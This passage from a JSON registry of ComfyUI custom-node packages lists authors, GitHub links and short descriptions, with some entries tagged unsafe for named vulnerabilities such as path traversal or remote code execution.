"https://github.com/Enferlain/ComfyUI-SamplerCustom-3Decimals"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI sampler node with custom 3 decimals precision for sampling parameters. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "lfelipegg",
|
||||
"title": "[WIP] lfgg_custom_nodes_comfyui",
|
||||
"reference": "https://github.com/lfelipegg/lfgg_custom_nodes_comfyui",
|
||||
"files": [
|
||||
"https://github.com/lfelipegg/lfgg_custom_nodes_comfyui"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "LFGG custom nodes for ComfyUI providing resolution-first utilities, latent sizing by aspect ratio, and divisibility-aware image processing.\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "saltchicken",
|
||||
"title": "ComfyUI-Selector",
|
||||
"reference": "https://github.com/saltchicken/ComfyUI-Selector",
|
||||
"files": [
|
||||
"https://github.com/saltchicken/ComfyUI-Selector"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI node providing simple selector functionality. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "saltchicken",
|
||||
"title": "ComfyUI-Video-Utils",
|
||||
"reference": "https://github.com/saltchicken/ComfyUI-Video-Utils",
|
||||
"files": [
|
||||
"https://github.com/saltchicken/ComfyUI-Video-Utils"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI nodes for video processing including FinalFrameSelector and VideoMerge functionality. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "EricRorich",
|
||||
"title": "[WIP] ComfyUI-MegaTran-cutom-node",
|
||||
"reference": "https://github.com/EricRorich/ComfyUI-MegaTran-cutom-node",
|
||||
"files": [
|
||||
"https://github.com/EricRorich/ComfyUI-MegaTran-cutom-node"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node applying image transformations (scaling, rotation, translation) around a pivot point with optional canvas expansion and pivot visualization. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "OhSeongHyeon",
|
||||
"title": "comfyui-random-image-size",
|
||||
"reference": "https://github.com/OhSeongHyeon/comfyui-random-image-size",
|
||||
"files": [
|
||||
"https://github.com/OhSeongHyeon/comfyui-random-image-size"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI Random Image Size"
|
||||
},
|
||||
{
|
||||
"author": "Enferlain",
|
||||
"title": "ComfyUI-Model-Comparison [WIP]",
|
||||
"reference": "https://github.com/Enferlain/ComfyUI-Model-Comparison",
|
||||
"files": [
|
||||
"https://github.com/Enferlain/ComfyUI-Model-Comparison"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI node for comparing multiple models side-by-side. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "AMTPorn",
|
||||
"title": "comfyui_amt",
|
||||
"reference": "https://github.com/AMTPorn/comfyui_amt",
|
||||
"files": [
|
||||
"https://github.com/AMTPorn/comfyui_amt"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: AMTStringDeduplication"
|
||||
},
|
||||
{
|
||||
"author": "gajjar4",
|
||||
"title": "ComfyUI-Qwen-Image-i2L [UNSAFE]",
|
||||
"reference": "https://github.com/gajjar4/ComfyUI-Qwen-Image-i2L",
|
||||
"files": [
|
||||
"https://github.com/gajjar4/ComfyUI-Qwen-Image-i2L"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A fully optimized ComfyUI custom node for Qwen-Image-i2L (Image-to-LoRA) that extracts style, composition, or details from images and saves them as lightweight LoRA files with intelligent VRAM optimization. (Description by CC)[w/This nodepack contains a node that has a vulnerability allowing write to arbitrary file paths.]"
|
||||
},
|
||||
{
|
||||
"author": "edvardtoth",
|
||||
"title": "ComfyUI-ETNodes",
|
||||
"reference": "https://github.com/edvardtoth/ComfyUI-ETNodes",
|
||||
"files": [
|
||||
"https://github.com/edvardtoth/ComfyUI-ETNodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: ETNodes-Color-Selector, ETNodes-Gemini-API-Image, ETNodes-Gemini-API-Text, ETNodes-List-Items, ETNodes-List-Selector, ETNodes-Text-Previe"
|
||||
},
|
||||
{
|
||||
"author": "jtydhr88",
|
||||
"title": "ComfyUI-PolotnoCanvasEditor [UNSAFE]",
|
||||
"reference": "https://github.com/jtydhr88/ComfyUI-PolotnoCanvasEditor",
|
||||
"files": [
|
||||
"https://github.com/jtydhr88/ComfyUI-PolotnoCanvasEditor"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Integrates Polotno Canvas Editor into ComfyUI for advanced image editing and design.[w/This nodepack contains a path traversal vulnerability.]"
|
||||
},
|
||||
{
|
||||
"author": "Taremin",
|
||||
"title": "comfyui-remove-print",
|
||||
"reference": "https://github.com/Taremin/comfyui-remove-print",
|
||||
"files": [
|
||||
"https://github.com/Taremin/comfyui-remove-print"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI extension for removing or suppressing print statements in node output. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "JiangAogo",
|
||||
"title": "ComfyUI-Gemini-API [WIP]",
|
||||
"reference": "https://github.com/JiangAogo/ComfyUI-Gemini-API",
|
||||
"files": [
|
||||
"https://github.com/JiangAogo/ComfyUI-Gemini-API"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom nodes for Google Gemini API integration, supporting both text generation (LLM) and image generation.\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "AprEcho",
|
||||
"title": "ComfyUI-RandomSeed",
|
||||
"reference": "https://github.com/AprEcho/ComfyUI-RandomSeed",
|
||||
"files": [
|
||||
"https://github.com/AprEcho/ComfyUI-RandomSeed"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Generates random seed values for ComfyUI workflows. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "Suzu008",
|
||||
"title": "ComfyUI-ImageCritic",
|
||||
"reference": "https://github.com/Suzu008/ComfyUI-ImageCritic",
|
||||
"files": [
|
||||
"https://github.com/Suzu008/ComfyUI-ImageCritic"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node for image analysis and evaluation. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "Spicely",
|
||||
"title": "[WIP] ComfyUI-Luma",
|
||||
"reference": "https://github.com/Spicely/ComfyUI-Luma",
|
||||
"files": [
|
||||
"https://github.com/Spicely/ComfyUI-Luma"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI utility providing video and audio processing capabilities including text watermarking, audio-video separation, and audio-to-subtitle conversion. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "SSYCloud",
|
||||
"title": "comfyui-ssy-syncapi [WIP]",
|
||||
"reference": "https://github.com/SSYCloud/comfyui-ssy-syncapi",
|
||||
"files": [
|
||||
"https://github.com/SSYCloud/comfyui-ssy-syncapi"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Powerful ComfyUI custom node collection providing 4 dedicated nodes to access SSY Cloud synchronous image generation and processing models including Google Gemini, ByteDance Doubao, OpenAI, and image enhancement APIs. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "LMietkiewicz",
|
||||
"title": "HiggsfieldAPI_Node",
|
||||
"reference": "https://github.com/LMietkiewicz/HiggsfieldAPI_Node",
|
||||
"files": [
|
||||
"https://github.com/LMietkiewicz/HiggsfieldAPI_Node"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node for Higgsfield API integration. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "starsFriday",
|
||||
"title": "ComfyUI-LongCat-Image [WIP]",
|
||||
"reference": "https://github.com/starsFriday/ComfyUI-LongCat-Image",
|
||||
"files": [
|
||||
"https://github.com/starsFriday/ComfyUI-LongCat-Image"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI wrapper nodes for the LongCat-Image text-to-image and image-editing pipelines with Python 3.12 support.\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "logicalor",
|
||||
"title": "comfyui_mv_adapter [WIP]",
|
||||
"reference": "https://github.com/logicalor/comfyui_mv_adapter",
|
||||
"files": [
|
||||
"https://github.com/logicalor/comfyui_mv_adapter"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "MV-Adapter nodes for ComfyUI - Multi-view image generation\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "rafstahelin",
|
||||
"title": "ComfyUI_KieNanoBananaPro",
|
||||
"reference": "https://github.com/rafstahelin/ComfyUI_KieNanoBananaPro",
|
||||
"files": [
|
||||
"https://github.com/rafstahelin/ComfyUI_KieNanoBananaPro"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI nodes for processing and filtering using KieNanoBananaPro algorithm. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "jinchanz",
|
||||
"title": "ComfyUI-Midjourney",
|
||||
"reference": "https://github.com/jinchanz/ComfyUI-Midjourney",
|
||||
"files": [
|
||||
"https://github.com/jinchanz/ComfyUI-Midjourney"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI integration for Midjourney API with nodes for submitting requests, polling results, and extracting JSON data. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "saltchicken",
|
||||
"title": "ComfyUI-Local-Loader",
|
||||
"reference": "https://github.com/saltchicken/ComfyUI-Local-Loader",
|
||||
"files": [
|
||||
"https://github.com/saltchicken/ComfyUI-Local-Loader"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom nodes for loading images from specified directories and file paths. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "satyasairazole",
|
||||
"title": "ComfyUI-Turbandetection [WIP]",
|
||||
"reference": "https://github.com/satyasairazole/ComfyUI-Turbandetection",
|
||||
"files": [
|
||||
"https://github.com/satyasairazole/ComfyUI-Turbandetection"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI node for detecting turbans in images using computer vision. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "dougbtv",
|
||||
"title": "comfyui-vllm-omni",
|
||||
"reference": "https://github.com/dougbtv/comfyui-vllm-omni",
|
||||
"files": [
|
||||
"https://github.com/dougbtv/comfyui-vllm-omni"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node for vLLM-Omni text-to-image generation"
|
||||
},
|
||||
{
|
||||
"author": "u5dev",
|
||||
"title": "ComfyUI_u5_EasyScripter [UNSAFE]",
|
||||
"reference": "https://github.com/u5dev/ComfyUI_u5_EasyScripter",
|
||||
"files": [
|
||||
"https://github.com/u5dev/ComfyUI_u5_EasyScripter"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "EASY VBA-style script for ComfyUI. Anything you want be in 1 node. Conditional branching, iteration, prompt generation, parameter adjustment, memory release, file input/output, Using HTTP RestAPI ... with 100+ built-in functions![w/This nodepack has RCE, SSRF, and arbitrary file read vulnerabilities.]"
|
||||
},
|
||||
{
|
||||
"author": "stalkervr",
|
||||
"title": "ComfyUI-StalkerVr",
|
||||
"reference": "https://github.com/stalkervr/ComfyUI-StalkerVr",
|
||||
"files": [
|
||||
"https://github.com/stalkervr/ComfyUI-StalkerVr"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom nodes for image processing, aspect ratio fixing, batch cropping, grid manipulation, JSON handling, and value extraction. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "baoanhng",
|
||||
"title": "ComfyUI-utils",
|
||||
"reference": "https://github.com/baoanhng/ComfyUI-utils",
|
||||
"files": [
|
||||
"https://github.com/baoanhng/ComfyUI-utils"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Provides text utility nodes (TextJoiner, TextSplitter) for ComfyUI workflows. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "xuchenxu168",
|
||||
"title": "[WIP] comfyui_meituan_image",
|
||||
"reference": "https://github.com/xuchenxu168/comfyui_meituan_image",
|
||||
"files": [
|
||||
"https://github.com/xuchenxu168/comfyui_meituan_image"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Generate high-quality images from text prompts with excellent Chinese text rendering,Edit images using natural language instructions..\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "saltchicken",
|
||||
"title": "ComfyUI-Identity-Mixer",
|
||||
"reference": "https://github.com/saltchicken/ComfyUI-Identity-Mixer",
|
||||
"files": [
|
||||
"https://github.com/saltchicken/ComfyUI-Identity-Mixer"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Mixes multiple identity LoRAs with normalized strength."
|
||||
},
|
||||
{
|
||||
"author": "saltchicken",
|
||||
"title": "ComfyUI-Prompter",
|
||||
"reference": "https://github.com/saltchicken/ComfyUI-Prompter",
|
||||
"files": [
|
||||
"https://github.com/saltchicken/ComfyUI-Prompter"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node providing customizable prompt generation capabilities. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "JBKing514",
|
||||
"title": "[WIP] map_comfyui",
|
||||
"reference": "https://github.com/JBKing514/map_comfyui",
|
||||
"files": [
|
||||
"https://github.com/JBKing514/map_comfyui"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A custom node implementing the Manifold Alignment Protocol (MAP) within ComfyUI, transforming diffusion sampling into a measurable and visualizable geometric process. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "Nynxz",
|
||||
"title": "ComfyUI_DiffsynthPause",
|
||||
"reference": "https://github.com/Nynxz/ComfyUI_DiffsynthPause",
|
||||
"files": [
|
||||
"https://github.com/Nynxz/ComfyUI_DiffsynthPause"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node for controlling Diffsynth checkpoint pausing behavior during image generation workflows. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "binarystatic",
|
||||
"title": "ComfyUI-BinarystaticMasterSeed",
|
||||
"reference": "https://github.com/binarystatic/ComfyUI-BinarystaticMasterSeed",
|
||||
"files": [
|
||||
"https://github.com/binarystatic/ComfyUI-BinarystaticMasterSeed"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "BinarystaticMasterSeed node for ComfyUI. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "Aruntd008",
|
||||
"title": "[WIP] ComfyUI_SeamlessPattern",
|
||||
"reference": "https://github.com/Aruntd008/ComfyUI_SeamlessPattern",
|
||||
"files": [
|
||||
"https://github.com/Aruntd008/ComfyUI_SeamlessPattern"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "SeamlessPatternNode for ComfyUI. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "SilentLuxRay",
|
||||
"title": "[WIP] ComfyUI-Furrey-Super-Prompt",
|
||||
"reference": "https://github.com/SilentLuxRay/ComfyUI-Furrey-Super-Prompt",
|
||||
"files": [
|
||||
"https://github.com/SilentLuxRay/ComfyUI-Furrey-Super-Prompt"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A personalized all-in-one node for ComfyUI that simplifies prompt management and LoRA handling with automatic translation to English. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "Rayen21",
|
||||
"title": "[WIP] ComfyUI-PromptLinePlus",
|
||||
"reference": "https://github.com/Rayen21/ComfyUI-PromptLinePlus",
|
||||
"files": [
|
||||
"https://github.com/Rayen21/ComfyUI-PromptLinePlus"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node that splits multi-line prompts by line, enabling batch image generation with each line triggering one execution and supporting custom prompt boxes. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "rookiestar28",
|
||||
"title": "ComfyUI_Security_Audit",
|
||||
"reference": "https://github.com/rookiestar28/ComfyUI_Security_Audit",
|
||||
"files": [
|
||||
"https://github.com/rookiestar28/ComfyUI_Security_Audit"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A lightweight, dual-layer security extension for ComfyUI using AST-based static analysis and runtime monitoring to detect malicious code in custom nodes."
|
||||
},
|
||||
{
|
||||
"author": "c1660181647-hash",
|
||||
"title": "ComfyUI-MM-Visual-Encryption",
|
||||
"reference": "https://github.com/c1660181647-hash/ComfyUI-MM-Visual-Encryption",
|
||||
"files": [
|
||||
"https://github.com/c1660181647-hash/ComfyUI-MM-Visual-Encryption"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A visual noise encryption custom node for ComfyUI, supporting Image and Video privacy protection."
|
||||
},
|
||||
{
|
||||
"author": "charlierz",
|
||||
"title": "comfyui-charlierz",
|
||||
"reference": "https://github.com/charlierz/comfyui-charlierz",
|
||||
"files": [
|
||||
"https://github.com/charlierz/comfyui-charlierz"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: BackgroundColor, ScaleDimensions"
|
||||
},
|
||||
{
|
||||
"author": "lrzjason",
|
||||
"title": "Comfyui-DiffusersUtils [WIP]",
|
||||
"reference": "https://github.com/lrzjason/Comfyui-DiffusersUtils",
|
||||
"files": [
|
||||
"https://github.com/lrzjason/Comfyui-DiffusersUtils"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A set of nodes which provide flexible inference using diffusers in comfyui env. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "anilstream",
|
||||
"title": "ComfyUI-NanoBananaPro",
|
||||
"reference": "https://github.com/anilstream/ComfyUI-NanoBananaPro",
|
||||
"files": [
|
||||
"https://github.com/anilstream/ComfyUI-NanoBananaPro"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI node implementing basic functionality with NanoBananaBasicNode. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "Toxic1228",
|
||||
"title": "Eleven-labs-comfyui-sts",
|
||||
"reference": "https://github.com/Toxic1228/Eleven-labs-comfyui-sts",
|
||||
"files": [
|
||||
"https://github.com/Toxic1228/Eleven-labs-comfyui-sts"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI integration node for Eleven Labs text-to-speech service (requires API key). (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "NeoTech",
|
||||
"title": "comfyui-laserprep",
|
||||
"reference": "https://github.com/NeoTech/comfyui-laserprep",
|
||||
"files": [
|
||||
"https://github.com/NeoTech/comfyui-laserprep"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI node implementing laser preparation functionality with LaserPrep node. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "Enferlain",
|
||||
"title": "ComfyUI-extra-schedulers [WIP]",
|
||||
"reference": "https://github.com/Enferlain/ComfyUI-extra-schedulers",
|
||||
"files": [
|
||||
"https://github.com/Enferlain/ComfyUI-extra-schedulers"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom nodes providing additional scheduler implementations for advanced sampling control. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "tiange-tree",
|
||||
"title": "BLUEAI_ComfyUI_OpenAI",
|
||||
"reference": "https://github.com/tiange-tree/BLUEAI_ComfyUI_OpenAI",
|
||||
"files": [
|
||||
"https://github.com/tiange-tree/BLUEAI_ComfyUI_OpenAI"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: BLUEAI_OpenAI_Node"
|
||||
},
|
||||
{
|
||||
"author": "nestflow",
|
||||
"title": "ComfyUI-WanPlus",
|
||||
"reference": "https://github.com/nestflow/ComfyUI-WanPlus",
|
||||
"files": [
|
||||
"https://github.com/nestflow/ComfyUI-WanPlus"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI nodes for video frame manipulation and image-to-video conversion. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "twdockery",
|
||||
"title": "ComfyUI_Prompt_Batch_Generator",
|
||||
"reference": "https://github.com/twdockery/ComfyUI_Prompt_Batch_Generator",
|
||||
"files": [
|
||||
"https://github.com/twdockery/ComfyUI_Prompt_Batch_Generator"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Custom nodes for batch image generation with Stable Diffusion 1.5, optimized for low VRAM systems. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "tuxiansheng-ld",
|
||||
"title": "Comfyui-tuxiansheng-nodes",
|
||||
"reference": "https://github.com/tuxiansheng-ld/Comfyui-tuxiansheng-nodes",
|
||||
"files": [
|
||||
"https://github.com/tuxiansheng-ld/Comfyui-tuxiansheng-nodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: StringToListNode"
|
||||
},
|
||||
{
|
||||
"author": "krakenunbound",
|
||||
"title": "Kraken Discord Bot",
|
||||
"id": "kraken-discord-bot",
|
||||
"reference": "https://github.com/krakenunbound/kraken-discord-bot",
|
||||
"files": [
|
||||
"https://github.com/krakenunbound/kraken-discord-bot"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "All-in-one Discord bot node for AI image generation. Simple setup - just add token, select model, and queue. Includes style presets, rate limiting, and queue management."
|
||||
},
|
||||
{
|
||||
"author": "quinteroac",
|
||||
"title": "comfyui_api_executor_nodes",
|
||||
"reference": "https://github.com/quinteroac/comfyui_api_executor_nodes",
|
||||
"files": [
|
||||
"https://github.com/quinteroac/comfyui_api_executor_nodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Custom nodes for ComfyUI that enable workflow execution via API (internal or external), as well as input/output handling and workflow selection."
|
||||
},
|
||||
{
|
||||
"author": "Chang-Jin-Lee",
|
||||
"title": "ComfyUI-PromptMixer-AI [WIP]",
|
||||
"reference": "https://github.com/Chang-Jin-Lee/ComfyUI-PromptMixer-AI",
|
||||
"files": [
|
||||
"https://github.com/Chang-Jin-Lee/ComfyUI-PromptMixer-AI"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node collection for unified control of checkpoints, steps, CFG, samplers, LoRA and prompt parameters with local LLM integration. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "leacvikas0",
|
||||
"title": "ComfyUI-Presence [WIP]",
|
||||
"reference": "https://github.com/leacvikas0/ComfyUI-Presence",
|
||||
"files": [
|
||||
"https://github.com/leacvikas0/ComfyUI-Presence"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: BeautifulTextNode, FluxAdaptiveInjector, InspectNode, PresenceDirector, PresenceDirectorFireworks, PresenceDirectorVertex, PresenceSaver, UnaliverBundlePreview, UnaliverNode, UnaliverPlanner, UnaliverStepIterato, ...\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "Kraven1109",
|
||||
"title": "ComfyUI-Llama [NAME CONFLICT]",
|
||||
"reference": "https://github.com/Kraven1109/ComfyUI-Llama",
|
||||
"files": [
|
||||
"https://github.com/Kraven1109/ComfyUI-Llama"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Lightweight ComfyUI plugin exposing llama.cpp-based one-shot Qwen VQA nodes."
|
||||
},
|
||||
{
|
||||
"author": "xiaoxidashen",
|
||||
"title": "comfyui_my_utils",
|
||||
"reference": "https://github.com/xiaoxidashen/comfyui_my_utils",
|
||||
"files": [
|
||||
"https://github.com/xiaoxidashen/comfyui_my_utils"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Guide and utilities for creating ComfyUI custom nodes with image/video preview functionality. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "agavesunset",
|
||||
"title": "ComfyUI_LoRA_Tracker",
|
||||
"reference": "https://github.com/agavesunset/ComfyUI_LoRA_Tracker",
|
||||
"files": [
|
||||
"https://github.com/agavesunset/ComfyUI_LoRA_Tracker"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI node for tracking and displaying LoRA parameters. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "SleazySleaze",
|
||||
"title": "aesthetic-persona-comfyui-node",
|
||||
"reference": "https://github.com/SleazySleaze/aesthetic-persona-comfyui-node",
|
||||
"files": [
|
||||
"https://github.com/SleazySleaze/aesthetic-persona-comfyui-node"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Node providing aesthetic persona parsing capabilities for ComfyUI. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "xtanqn",
|
||||
"title": "comfyui-xishen [WIP]",
|
||||
"reference": "https://github.com/xtanqn/comfyui-xishen",
|
||||
"files": [
|
||||
"https://github.com/xtanqn/comfyui-xishen"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A custom node for ComfyUI that generates random numbers as text output.\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "heyburns",
|
||||
"title": "ComfyUI-Logic-Redux [WIP]",
|
||||
"reference": "https://github.com/heyburns/ComfyUI-Logic-Redux",
|
||||
"files": [
|
||||
"https://github.com/heyburns/ComfyUI-Logic-Redux"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Validation-friendly rewrite of ComfyUI Logic nodes with drop-in compatibility, featuring compare, int/float/bool/string pass-through, ternary logic, and debug nodes. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "Mohamed-Sakr",
|
||||
"title": "ComfyUI-SimpleMarkdown [UNSAFE]",
|
||||
"reference": "https://github.com/Mohamed-Sakr/ComfyUI-SimpleMarkdown",
|
||||
"files": [
|
||||
"https://github.com/Mohamed-Sakr/ComfyUI-SimpleMarkdown"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A simple markdown node for ComfyUI[w/This nodepack has a frontend vulnerability.]"
|
||||
},
|
||||
{
|
||||
"author": "starsFriday",
|
||||
"title": "ComfyUI-Tracker-Person [WIP]",
|
||||
"reference": "https://github.com/starsFriday/ComfyUI-Tracker-Person",
|
||||
"files": [
|
||||
"https://github.com/starsFriday/ComfyUI-Tracker-Person"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node using YOLO instance segmentation to track specific people in video frames with color histogram re-identification for robust tracking across occlusions. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "judian17",
|
||||
"title": "ComfyUI-MIDI-3D [WIP]",
|
||||
"reference": "https://github.com/judian17/ComfyUI-MIDI-3D",
|
||||
"files": [
|
||||
"https://github.com/judian17/ComfyUI-MIDI-3D"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Partial implementation of the MIDI-3D project for ComfyUI with multi-view normal/depth map generation and texture baking. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "IAFFeng",
|
||||
"title": "Comfyui_XF_Custom_Actual-Node",
|
||||
"reference": "https://github.com/IAFFeng/Comfyui_XF_Custom_Actual-Node",
|
||||
"files": [
|
||||
"https://github.com/IAFFeng/Comfyui_XF_Custom_Actual-Node"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node providing GeminiMatting functionality for image matting operations. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "LvyuanW",
|
||||
"title": "ComfyUI-6yuan [WIP]",
|
||||
"reference": "https://github.com/LvyuanW/ComfyUI-6yuan",
|
||||
"files": [
|
||||
"https://github.com/LvyuanW/ComfyUI-6yuan"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A curated set of ComfyUI nodes under 6yuan namespace."
|
||||
},
|
||||
{
|
||||
"author": "wciq1208",
|
||||
"title": "even-comfyui-plugin",
|
||||
"reference": "https://github.com/wciq1208/even-comfyui-plugin",
|
||||
"files": [
|
||||
"https://github.com/wciq1208/even-comfyui-plugin"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: Gemini, NanoBanana"
|
||||
},
|
||||
{
|
||||
"author": "Fuhze73",
|
||||
"title": "ComfyUI-PainterI2V-StartEndImage-Tiled [WIP]",
|
||||
"reference": "https://github.com/Fuhze73/ComfyUI-PainterI2V-StartEndImage-Tiled",
|
||||
"files": [
|
||||
"https://github.com/Fuhze73/ComfyUI-PainterI2V-StartEndImage-Tiled"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Wan2.2 image-to-video enhancement node optimized for 4-step LoRAs, reducing slow-motion and enhancing camera movement. (Description by CC)\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "stevanisya",
|
||||
"title": "comfyui_txt_selector [WIP]",
|
||||
"reference": "https://github.com/stevanisya/comfyui_txt_selector",
|
||||
"files": [
|
||||
"https://github.com/stevanisya/comfyui_txt_selector"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A simple ComfyUI node that lets you choose one text from up to 10 inputs.\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "Isi-dev",
|
||||
"title": "ComfyUI_DeleteModelPassthrough_ExecutionFlowControl [WIP]",
|
||||
"reference": "https://github.com/Isi-dev/ComfyUI_DeleteModelPassthrough_ExecutionFlowControl",
|
||||
"files": [
|
||||
